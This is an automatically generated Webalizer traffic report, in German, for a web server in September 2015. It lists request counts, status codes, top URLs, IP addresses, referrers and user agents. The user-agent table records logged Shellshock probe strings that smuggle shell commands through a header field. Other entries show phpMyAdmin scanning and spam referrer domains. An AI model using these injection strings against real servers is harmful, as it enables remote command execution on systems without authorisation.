Aufruf-Statistik für sv29

Auslastungsstatistik für den Zeitraum: September 2015
Erstellt am 01-Okt-2015 07:10 CEST

[Tages-Statistik] [Stunden-Statistik] [URLs] [Eingang] [Ausgang] [Rechner (IP-Adressen)] [Verweise] [Suche] [Anwenderprogramme] [Locations]

Monats-Statistik für September 2015
Summe Anfragen 32613
Summe Dateien 15369
Summe Seiten 28675
Summe Besuche 7407
Total kB Files 76263
Total kB In 0
Total kB Out 3
Summe unterschiedlicher Rechner (IP-Adressen) 3192
Summe unterschiedlicher URLs 36
Summe unterschiedlicher Verweise 463
Summe unterschiedlicher Anwenderprogramme 457
. Schnitt Maximum
Anfragen pro Stunde 45 1730
Anfragen pro Tag 1087 2845
Dateien pro Tag 512 1206
Seiten pro Tag 955 2553
Besuche pro Tag 246 326
kB Files per Day 2542 8916
kB In per Day 0 0
kB Out per Day 0 2
Anfragen nach Status-Code
Code 200 - OK 15369
Code 206 - Unvollständiger Inhalt 99
Code 302 - Seite an anderer Stelle gefunden 758
Code 304 - Seite nicht geändert 60
Code 400 - Ungültige Anfrage 84
Code 403 - Antwort verweigert 5
Code 404 - Seite nicht gefunden! 13254
Code 405 - Methode nicht erlaubt 492
Code 408 - Zeitüberschreitung durch Anwenderprogramm... 2301
Code 500 - Interner Server-Fehler (CGI?) 184
Code 501 - Nicht implementiert 7

Tages-Statistik im Monat September 2015

Tages-Statistik im Monat September 2015
Tag Anfragen Dateien Seiten Besuche Rechner (IP-Adressen) kB F kB In kB Out
1 1200 3,68% 545 3,55% 1113 3,88% 263 3,55% 192 6,02% 3263 4,28% 0 0,00% 0 0,00%
2 886 2,72% 521 3,39% 802 2,80% 257 3,47% 212 6,64% 3427 4,49% 0 0,00% 0 0,00%
3 1164 3,57% 453 2,95% 872 3,04% 248 3,35% 199 6,23% 1112 1,46% 0 0,00% 0 0,00%
4 792 2,43% 422 2,75% 730 2,55% 221 2,98% 168 5,26% 870 1,14% 0 0,00% 0 0,00%
5 884 2,71% 459 2,99% 825 2,88% 279 3,77% 182 5,70% 469 0,62% 0 0,00% 0 0,00%
6 884 2,71% 450 2,93% 810 2,82% 262 3,54% 195 6,11% 411 0,54% 0 0,00% 0 0,00%
7 2635 8,08% 1206 7,85% 2553 8,90% 309 4,17% 224 7,02% 8916 11,69% 0 0,00% 0 0,00%
8 1277 3,92% 490 3,19% 1123 3,92% 326 4,40% 228 7,14% 682 0,89% 0 0,00% 0 0,00%
9 1204 3,69% 474 3,08% 982 3,42% 252 3,40% 183 5,73% 1175 1,54% 0 0,00% 0 0,00%
10 860 2,64% 434 2,82% 802 2,80% 258 3,48% 182 5,70% 440 0,58% 0 0,00% 0 0,00%
11 981 3,01% 458 2,98% 900 3,14% 265 3,58% 205 6,42% 1284 1,68% 0 0,00% 0 0,00%
12 898 2,75% 510 3,32% 828 2,89% 279 3,77% 200 6,27% 901 1,18% 0 0,00% 0 0,00%
13 2845 8,72% 502 3,27% 1869 6,52% 248 3,35% 177 5,55% 1577 2,07% 0 0,00% 0 0,00%
14 2483 7,61% 502 3,27% 2346 8,18% 287 3,87% 196 6,14% 1995 2,62% 0 0,00% 0 0,00%
15 900 2,76% 448 2,91% 836 2,92% 267 3,60% 197 6,17% 590 0,77% 0 0,00% 0 0,00%
16 993 3,04% 488 3,18% 900 3,14% 282 3,81% 213 6,67% 913 1,20% 0 0,00% 0 0,00%
17 1306 4,00% 462 3,01% 1058 3,69% 277 3,74% 198 6,20% 1081 1,42% 0 0,00% 0 0,00%
18 638 1,96% 428 2,78% 580 2,02% 216 2,92% 187 5,86% 364 0,48% 0 0,00% 0 0,00%
19 593 1,82% 441 2,87% 538 1,88% 166 2,24% 144 4,51% 1027 1,35% 0 0,00% 0 0,00%
20 745 2,28% 562 3,66% 682 2,38% 212 2,86% 186 5,83% 1648 2,16% 0 0,00% 0 0,00%
21 622 1,91% 477 3,10% 566 1,97% 189 2,55% 150 4,70% 1663 2,18% 0 0,00% 0 0,00%
22 673 2,06% 511 3,32% 611 2,13% 231 3,12% 180 5,64% 3525 4,62% 0 0,00% 0 0,00%
23 834 2,56% 490 3,19% 714 2,49% 230 3,11% 181 5,67% 1570 2,06% 0 0,00% 0 0,00%
24 1426 4,37% 571 3,72% 1329 4,63% 239 3,23% 227 7,11% 6816 8,94% 0 0,00% 0 0,00%
25 729 2,24% 531 3,46% 684 2,39% 220 2,97% 196 6,14% 7476 9,80% 0 0,00% 0 0,00%
26 732 2,24% 486 3,16% 658 2,29% 256 3,46% 237 7,42% 3497 4,59% 0 0,00% 2 96,97%
27 733 2,25% 490 3,19% 672 2,34% 190 2,57% 152 4,76% 6728 8,82% 0 0,00% 0 3,03%
28 626 1,92% 435 2,83% 570 1,99% 197 2,66% 171 5,36% 1104 1,45% 0 0,00% 0 0,00%
29 824 2,53% 530 3,45% 718 2,50% 259 3,50% 228 7,14% 3795 4,98% 0 0,00% 0 0,00%
30 1246 3,82% 593 3,86% 1004 3,50% 272 3,67% 232 7,27% 7940 10,41% 0 0,00% 0 0,00%

Stunden-Statistik im Monat September 2015

Stunden-Statistik im Monat September 2015
Stunde Anfragen Dateien Seiten kB F kB In kB Out
Schnitt Summe Schnitt Summe Schnitt Summe Schnitt Summe Schnitt Summe Schnitt Summe
0 42 1280 3,92% 18 553 3,60% 34 1032 3,60% 24 710 0,93% 0 0 0,00% 0 0 0,00%
1 37 1133 3,47% 19 590 3,84% 33 1015 3,54% 45 1336 1,75% 0 0 0,00% 0 0 0,00%
2 37 1112 3,41% 20 608 3,96% 33 1018 3,55% 31 939 1,23% 0 0 0,00% 0 0 0,00%
3 33 1005 3,08% 19 581 3,78% 30 921 3,21% 52 1574 2,06% 0 0 0,00% 0 0 0,00%
4 41 1249 3,83% 20 614 4,00% 39 1173 4,09% 35 1052 1,38% 0 0 0,00% 0 0 0,00%
5 35 1051 3,22% 17 530 3,45% 31 949 3,31% 79 2371 3,11% 0 0 0,00% 0 2 93,94%
6 27 831 2,55% 18 546 3,55% 25 771 2,69% 34 1025 1,34% 0 0 0,00% 0 0 0,00%
7 30 914 2,80% 18 553 3,60% 27 835 2,91% 70 2099 2,75% 0 0 0,00% 0 0 0,00%
8 32 982 3,01% 19 590 3,84% 30 901 3,14% 117 3509 4,60% 0 0 0,00% 0 0 0,00%
9 37 1121 3,44% 19 584 3,80% 34 1022 3,56% 113 3377 4,43% 0 0 0,00% 0 0 0,00%
10 34 1046 3,21% 20 619 4,03% 31 935 3,26% 135 4038 5,29% 0 0 0,00% 0 0 0,00%
11 34 1044 3,20% 19 590 3,84% 31 952 3,32% 97 2915 3,82% 0 0 0,00% 0 0 0,00%
12 35 1063 3,26% 19 589 3,83% 30 929 3,24% 72 2147 2,82% 0 0 0,00% 0 0 0,00%
13 35 1063 3,26% 20 601 3,91% 32 982 3,42% 82 2460 3,23% 0 0 0,00% 0 0 0,00%
14 34 1040 3,19% 19 584 3,80% 31 941 3,28% 109 3281 4,30% 0 0 0,00% 0 0 0,00%
15 39 1178 3,61% 22 684 4,45% 35 1078 3,76% 197 5901 7,74% 0 0 0,00% 0 0 0,00%
16 49 1487 4,56% 24 725 4,72% 41 1239 4,32% 141 4223 5,54% 0 0 0,00% 0 0 0,00%
17 54 1640 5,03% 25 770 5,01% 52 1561 5,44% 153 4587 6,01% 0 0 0,00% 0 0 3,03%
18 35 1057 3,24% 20 606 3,94% 30 923 3,22% 91 2743 3,60% 0 0 0,00% 0 0 0,00%
19 44 1346 4,13% 20 615 4,00% 36 1105 3,85% 110 3315 4,35% 0 0 0,00% 0 0 0,00%
20 93 2815 8,63% 21 649 4,22% 65 1979 6,90% 151 4535 5,95% 0 0 0,00% 0 0 3,03%
21 101 3032 9,30% 45 1354 8,81% 93 2799 9,76% 384 11523 15,11% 0 0 0,00% 0 0 0,00%
22 60 1813 5,56% 22 666 4,33% 48 1464 5,11% 144 4323 5,67% 0 0 0,00% 0 0 0,00%
23 77 2311 7,09% 18 568 3,70% 71 2151 7,50% 76 2283 2,99% 0 0 0,00% 0 0 0,00%

Top 30 von 36 URLs
# Anfragen kB F kB In kB Out URL
1 13042 39,99% 6032 7,91% 0 0,00% 0 3,03% /
2 750 2,30% 5981 7,84% 0 0,00% 0 0,00% /phpmyadmin/
3 408 1,25% 4307 5,65% 0 0,00% 0 0,00% /webalizer/
4 273 0,84% 16817 22,05% 0 0,00% 0 0,00% /webalizer/usage_201506.html
5 195 0,60% 11222 14,71% 0 0,00% 0 0,00% /webalizer/usage_201505.html
6 134 0,41% 5386 7,06% 0 0,00% 0 0,00% /webalizer/usage_201509.html
7 93 0,29% 6546 8,58% 0 0,00% 0 0,00% /webalizer/usage_201502.html
8 85 0,26% 5211 6,83% 0 0,00% 0 0,00% /webalizer/usage_201507.html
9 80 0,25% 37 0,05% 0 0,00% 0 0,00% http://search.yahoo.com/
10 75 0,23% 35 0,05% 0 0,00% 0 0,00% http://www.haosou.com/
11 73 0,22% 34 0,04% 0 0,00% 0 0,00% http://www.hotbot.com/
12 66 0,20% 31 0,04% 0 0,00% 0 0,00% http://sg.search.yahoo.com/
13 64 0,20% 30 0,04% 0 0,00% 0 0,00% http://cn.bing.com/
14 58 0,18% 27 0,04% 0 0,00% 0 0,00% http://www.sogou.com/
15 34 0,10% 1804 2,37% 0 0,00% 0 0,00% /webalizer/usage_201412.html
16 24 0,07% 3031 3,97% 0 0,00% 0 0,00% /webalizer/usage_201409.html
17 18 0,06% 210 0,28% 0 0,00% 0 0,00% http://www.placeofsex.com/webalizer/
18 11 0,03% 21 0,03% 0 0,00% 0 0,00% /webmail/src/login.php
19 8 0,02% 93 0,12% 0 0,00% 0 0,00% http://www.parigger-partner.com/webalizer/
20 5 0,02% 737 0,97% 0 0,00% 0 0,00% http://www.placeofsex.com/webalizer/usage_201409.html
21 4 0,01% 41 0,05% 0 0,00% 0 0,00% /webalizer/usage_201508.html
22 4 0,01% 589 0,77% 0 0,00% 0 0,00% http://www.parigger-partner.com/webalizer/usage_201409.html
23 3 0,01% 31 0,04% 0 0,00% 0 0,00% /webalizer/usage_201504.html
24 3 0,01% 1 0,00% 0 0,00% 0 0,00% http://httpheader.net
25 2 0,01% 19 0,02% 0 0,00% 0 0,00% /webalizer/usage_201407.html
26 2 0,01% 21 0,03% 0 0,00% 0 0,00% /webalizer/usage_201410.html
27 2 0,01% 9 0,01% 0 0,00% 0 0,00% http://82.150.199.222:80/phpmyadmin/
28 2 0,01% 9 0,01% 0 0,00% 0 0,00% http://82.150.199.40:80/phpmyadmin/
29 2 0,01% 9 0,01% 0 0,00% 0 0,00% http://82.150.199.86:80/phpmyadmin/
30 2 0,01% 1 0,00% 0 0,00% 0 0,00% http://www.baidu.com/

Top 10 von 36 URLs sortiert nach kB F
# Anfragen kB F kB In kB Out URL
1 273 0,84% 16817 22,05% 0 0,00% 0 0,00% /webalizer/usage_201506.html
2 195 0,60% 11222 14,71% 0 0,00% 0 0,00% /webalizer/usage_201505.html
3 93 0,29% 6546 8,58% 0 0,00% 0 0,00% /webalizer/usage_201502.html
4 13042 39,99% 6032 7,91% 0 0,00% 0 3,03% /
5 750 2,30% 5981 7,84% 0 0,00% 0 0,00% /phpmyadmin/
6 134 0,41% 5386 7,06% 0 0,00% 0 0,00% /webalizer/usage_201509.html
7 85 0,26% 5211 6,83% 0 0,00% 0 0,00% /webalizer/usage_201507.html
8 408 1,25% 4307 5,65% 0 0,00% 0 0,00% /webalizer/
9 24 0,07% 3031 3,97% 0 0,00% 0 0,00% /webalizer/usage_201409.html
10 34 0,10% 1804 2,37% 0 0,00% 0 0,00% /webalizer/usage_201412.html

Top 10 von 27 Eingangsseiten Gesamt
# Anfragen Besuche URL
1 13042 39,99% 3990 86,68% /
2 408 1,25% 174 3,78% /webalizer/
3 134 0,41% 62 1,35% /webalizer/usage_201509.html
4 273 0,84% 44 0,96% /webalizer/usage_201506.html
5 80 0,25% 40 0,87% http://search.yahoo.com/
6 75 0,23% 35 0,76% http://www.haosou.com/
7 195 0,60% 34 0,74% /webalizer/usage_201505.html
8 64 0,20% 33 0,72% http://cn.bing.com/
9 73 0,22% 32 0,70% http://www.hotbot.com/
10 66 0,20% 31 0,67% http://sg.search.yahoo.com/

Top 10 von 21 Ausgangsseiten Gesamt
# Anfragen Besuche URL
1 13042 39,99% 1087 76,23% /
2 408 1,25% 89 6,24% /webalizer/
3 75 0,23% 33 2,31% http://www.haosou.com/
4 73 0,22% 33 2,31% http://www.hotbot.com/
5 64 0,20% 29 2,03% http://cn.bing.com/
6 80 0,25% 28 1,96% http://search.yahoo.com/
7 66 0,20% 27 1,89% http://sg.search.yahoo.com/
8 273 0,84% 23 1,61% /webalizer/usage_201506.html
9 58 0,18% 19 1,33% http://www.sogou.com/
10 195 0,60% 16 1,12% /webalizer/usage_201505.html

Top 30 von 3192 Rechnern (IP-Adressen)
# Anfragen Dateien kB F kB In kB Out Besuche Rechnername
1 8624 26,44% 8624 56,11% 4000 5,25% 0 0,00% 0 0,00% 1 0,01% 82.150.201.20
2 1685 5,17% 742 4,83% 6885 9,03% 0 0,00% 0 0,00% 5 0,07% 181.48.108.204
3 1591 4,88% 0 0,00% 741 0,97% 0 0,00% 0 0,00% 266 3,59% 222.186.129.5
4 1293 3,96% 3 0,02% 696 0,91% 0 0,00% 0 0,00% 1 0,01% 206.74.136.147
5 1160 3,56% 0 0,00% 561 0,74% 0 0,00% 0 0,00% 277 3,74% 222.186.30.211
6 1156 3,54% 27 0,18% 594 0,78% 0 0,00% 0 0,00% 1 0,01% 183.60.244.37
7 995 3,05% 0 0,00% 479 0,63% 0 0,00% 0 0,00% 212 2,86% 222.186.31.145
8 832 2,55% 416 2,71% 411 0,54% 0 0,00% 0 0,00% 201 2,71% 104.148.44.191
9 658 2,02% 12 0,08% 332 0,44% 0 0,00% 0 0,00% 2 0,03% 183.60.243.187
10 402 1,23% 3 0,02% 197 0,26% 0 0,00% 0 0,00% 1 0,01% 210.13.121.52
11 383 1,17% 0 0,00% 181 0,24% 0 0,00% 0 0,00% 2 0,03% 51.254.101.183
12 357 1,09% 357 2,32% 166 0,22% 0 0,00% 0 0,00% 357 4,82% 204.93.154.216
13 334 1,02% 0 0,00% 165 0,22% 0 0,00% 0 0,00% 1 0,01% 198.204.245.202
14 328 1,01% 6 0,04% 168 0,22% 0 0,00% 0 0,00% 1 0,01% 183.60.244.30
15 328 1,01% 6 0,04% 168 0,22% 0 0,00% 0 0,00% 1 0,01% 183.60.244.44
16 327 1,00% 6 0,04% 166 0,22% 0 0,00% 0 0,00% 1 0,01% 183.60.243.190
17 327 1,00% 6 0,04% 167 0,22% 0 0,00% 0 0,00% 1 0,01% 183.60.244.46
18 204 0,63% 3 0,02% 95 0,12% 0 0,00% 0 0,00% 1 0,01% 64.15.155.177
19 202 0,62% 202 1,31% 2360 3,09% 0 0,00% 0 0,00% 70 0,95% 31.184.238.101
20 186 0,57% 6 0,04% 88 0,11% 0 0,00% 0 0,00% 2 0,03% 96.44.146.146
21 162 0,50% 162 1,05% 11842 15,53% 0 0,00% 0 0,00% 19 0,26% 193.201.227.77
22 143 0,44% 143 0,93% 66 0,09% 0 0,00% 0 0,00% 143 1,93% 204.93.154.201
23 140 0,43% 0 0,00% 68 0,09% 0 0,00% 0 0,00% 1 0,01% 192.151.151.202
24 103 0,32% 103 0,67% 48 0,06% 0 0,00% 0 0,00% 103 1,39% 204.93.154.203
25 100 0,31% 100 0,65% 5026 6,59% 0 0,00% 0 0,00% 10 0,14% 178.73.192.28
26 100 0,31% 100 0,65% 4948 6,49% 0 0,00% 0 0,00% 9 0,12% 46.246.81.183
27 93 0,29% 93 0,61% 43 0,06% 0 0,00% 0 0,00% 93 1,26% 204.93.154.210
28 90 0,28% 3 0,02% 42 0,06% 0 0,00% 0 0,00% 1 0,01% 196.219.50.12
29 85 0,26% 85 0,55% 5828 7,64% 0 0,00% 0 0,00% 9 0,12% 95.37.133.182
30 81 0,25% 1 0,01% 38 0,05% 0 0,00% 0 0,00% 1 0,01% 222.141.64.65

Top 10 von 3192 Rechnern (IP-Adressen) sortiert nach kB F
# Anfragen Dateien kB F kB In kB Out Besuche Rechnername
1 162 0,50% 162 1,05% 11842 15,53% 0 0,00% 0 0,00% 19 0,26% 193.201.227.77
2 1685 5,17% 742 4,83% 6885 9,03% 0 0,00% 0 0,00% 5 0,07% 181.48.108.204
3 85 0,26% 85 0,55% 5828 7,64% 0 0,00% 0 0,00% 9 0,12% 95.37.133.182
4 80 0,25% 80 0,52% 5590 7,33% 0 0,00% 0 0,00% 9 0,12% 95.37.224.182
5 100 0,31% 100 0,65% 5026 6,59% 0 0,00% 0 0,00% 10 0,14% 178.73.192.28
6 100 0,31% 100 0,65% 4948 6,49% 0 0,00% 0 0,00% 9 0,12% 46.246.81.183
7 8624 26,44% 8624 56,11% 4000 5,25% 0 0,00% 0 0,00% 1 0,01% 82.150.201.20
8 52 0,16% 52 0,34% 2670 3,50% 0 0,00% 0 0,00% 8 0,11% 188.126.90.141
9 202 0,62% 202 1,31% 2360 3,09% 0 0,00% 0 0,00% 70 0,95% 31.184.238.101
10 32 0,10% 32 0,21% 2275 2,98% 0 0,00% 0 0,00% 5 0,07% 193.108.249.33

Top 30 von 463 Verweise
# Anfragen Verweise
1 25819 79,17% - (Direct Request)
2 3729 11,43% http://123.249.24.233/POST_ip_port.phpAccept: */*
3 1293 3,96% https://www.youtube.com/watch
4 61 0,19% http://proshot.at
5 50 0,15% http://wallpapers-best.com/
6 40 0,12% http://wewriteessay.ml/
7 29 0,09% http://hundejo.com/
8 25 0,08% http://annamodel.aircus.com/
9 25 0,08% http://muzzabest.hostenko.com/
10 25 0,08% http://pizza-imperia.com/
11 25 0,08% http://webcams.just-host.biz/
12 25 0,08% http://yparah.wix.com/candykaylee
13 24 0,07% http://burger-imperia.com/
14 22 0,07% http://hvd-store.com/
15 20 0,06% http://divakitty.do.am/
16 20 0,06% http://vk.com/oblas_tmu_online
17 19 0,06% ()
18 19 0,06% http://pizza-tycoon.com/
19 16 0,05% http://yparah.wix.com/nivanova
20 15 0,05% https://plus.google.com/+Privatewriting/posts/bUTf4NB2u6i
21 14 0,04% http://www.google.com/url
22 12 0,04% http://smokingzyban.allthingsme.net/
23 12 0,04% http://viphdxxx.freexblogs.com/
24 11 0,03% http://free4free.net/
25 10 0,03% http://carmods.ru/2009/0/page/2/
26 10 0,03% http://doxycyclineantibioticwithoutprescription.top/
27 10 0,03% http://muza-online.ru
28 10 0,03% http://tadalafilgenericbestprices.net
29 10 0,03% http://themadmommy.com/scholarly-report
30 10 0,03% http://vk.com/club100164348

Top 8 von 8 Suchausdrücke Gesamt
# Anfragen Suche
1 3 30,00% 2 guys 1 horse
2 1 10,00% anything
3 1 10,00% free4free.net
4 1 10,00% hotel-kirchberg.com
5 1 10,00% hotelbraeuwirt.com
6 1 10,00% kitzbuhel-realestate.com
7 1 10,00% placeofsex.com
8 1 10,00% www.rollstuhlurlaub.at

Top 15 von 457 Anwenderprogramme
# Anfragen Anwenderprogramm
1 8624 26,44% check_http/v1.4.15 (nagios-plugins 1.4.15)
2 3771 11,56% Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
3 3124 9,58% Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
4 1685 5,17% Mozilla/5.0 Jorgee
5 1290 3,96% () { goo;}; echo Content-Type: text/plain ; echo ; echo shellshot_`expr 1344 - 7`
6 1064 3,26% Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
7 873 2,68% Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
8 687 2,11% () { :;};/usr/bin/perl -e 'print \"Content-Type
9 416 1,28% Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)
10 231 0,71% Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
11 223 0,68% NerdyBot
12 194 0,59% Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
13 176 0,54% Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2
14 175 0,54% Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
15 155 0,48% Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36

Usage by Location for September 2015

Top 30 von 87 Total Locations
# Anfragen Dateien kB F kB In kB Out Location
1 9299 28,51% 1112 7,24% 8157 10,70% 0 0,00% 0 0,00% China
2 8992 27,57% 8635 56,18% 4013 5,26% 0 0,00% 0 0,00% Oesterreich
3 5569 17,08% 2215 14,41% 10753 14,10% 0 0,00% 0 0,00% USA
4 2318 7,11% 1199 7,80% 14898 19,53% 0 0,00% 0 0,00% Unbekannte Adressen
5 1691 5,19% 742 4,83% 6887 9,03% 0 0,00% 0 0,00% Kolumbien
6 688 2,11% 302 1,96% 228 0,30% 0 0,00% 0 0,00% Deutschland
7 607 1,86% 504 3,28% 14651 19,21% 0 0,00% 0 0,00% Russische Foederation
8 532 1,63% 16 0,10% 248 0,32% 0 0,00% 0 0,00% Grossbritannien (alt)
9 476 1,46% 31 0,20% 106 0,14% 0 0,00% 0 0,00% Italien
10 460 1,41% 265 1,72% 14398 18,88% 0 0,00% 0 0,00% Ukraine
11 254 0,78% 29 0,19% 118 0,15% 0 0,00% 0 0,00% Kanada
12 251 0,77% 121 0,79% 190 0,25% 0 0,00% 0 0,00% Frankreich
13 238 0,73% 78 0,51% 103 0,14% 0 0,00% 0 0,00% Niederlande
14 195 0,60% 2 0,01% 22 0,03% 0 0,00% 0 0,00% Brasilien
15 92 0,28% 4 0,03% 43 0,06% 0 0,00% 0 0,00% Aegypten
16 89 0,27% 3 0,02% 217 0,28% 0 0,00% 0 0,00% Taiwan
17 85 0,26% 11 0,07% 15 0,02% 0 0,00% 0 0,00% Tschechien
18 66 0,20% 3 0,02% 29 0,04% 0 0,00% 0 0,00% Lettland
19 61 0,19% 19 0,12% 39 0,05% 0 0,00% 0 0,00% Thailand
20 52 0,16% 15 0,10% 182 0,24% 0 0,00% 0 0,00% Schweiz
21 50 0,15% 12 0,08% 21 0,03% 0 0,00% 0 0,00% Rumaenien
22 36 0,11% 32 0,21% 16 0,02% 0 0,00% 0 0,00% Slowakei
23 32 0,10% 5 0,03% 12 0,02% 0 0,00% 0 0,00% Indonesien
24 30 0,09% 9 0,06% 17 0,02% 0 0,00% 0 0,00% Israel
25 29 0,09% 5 0,03% 4 0,01% 0 0,00% 0 0,00% Indien
26 28 0,09% 9 0,06% 47 0,06% 0 0,00% 0 0,00% Suedkorea
27 28 0,09% 8 0,05% 6 0,01% 0 0,00% 0 0,00% Mexiko
28 26 0,08% 9 0,06% 31 0,04% 0 0,00% 0 0,00% Japan
29 18 0,06% 0 0,00% 0 0,00% 0 0,00% 0 0,00% Portugal
30 17 0,05% 6 0,04% 192 0,25% 0 0,00% 0 0,00% Hong Kong


Generated by Webalizer Version 2.01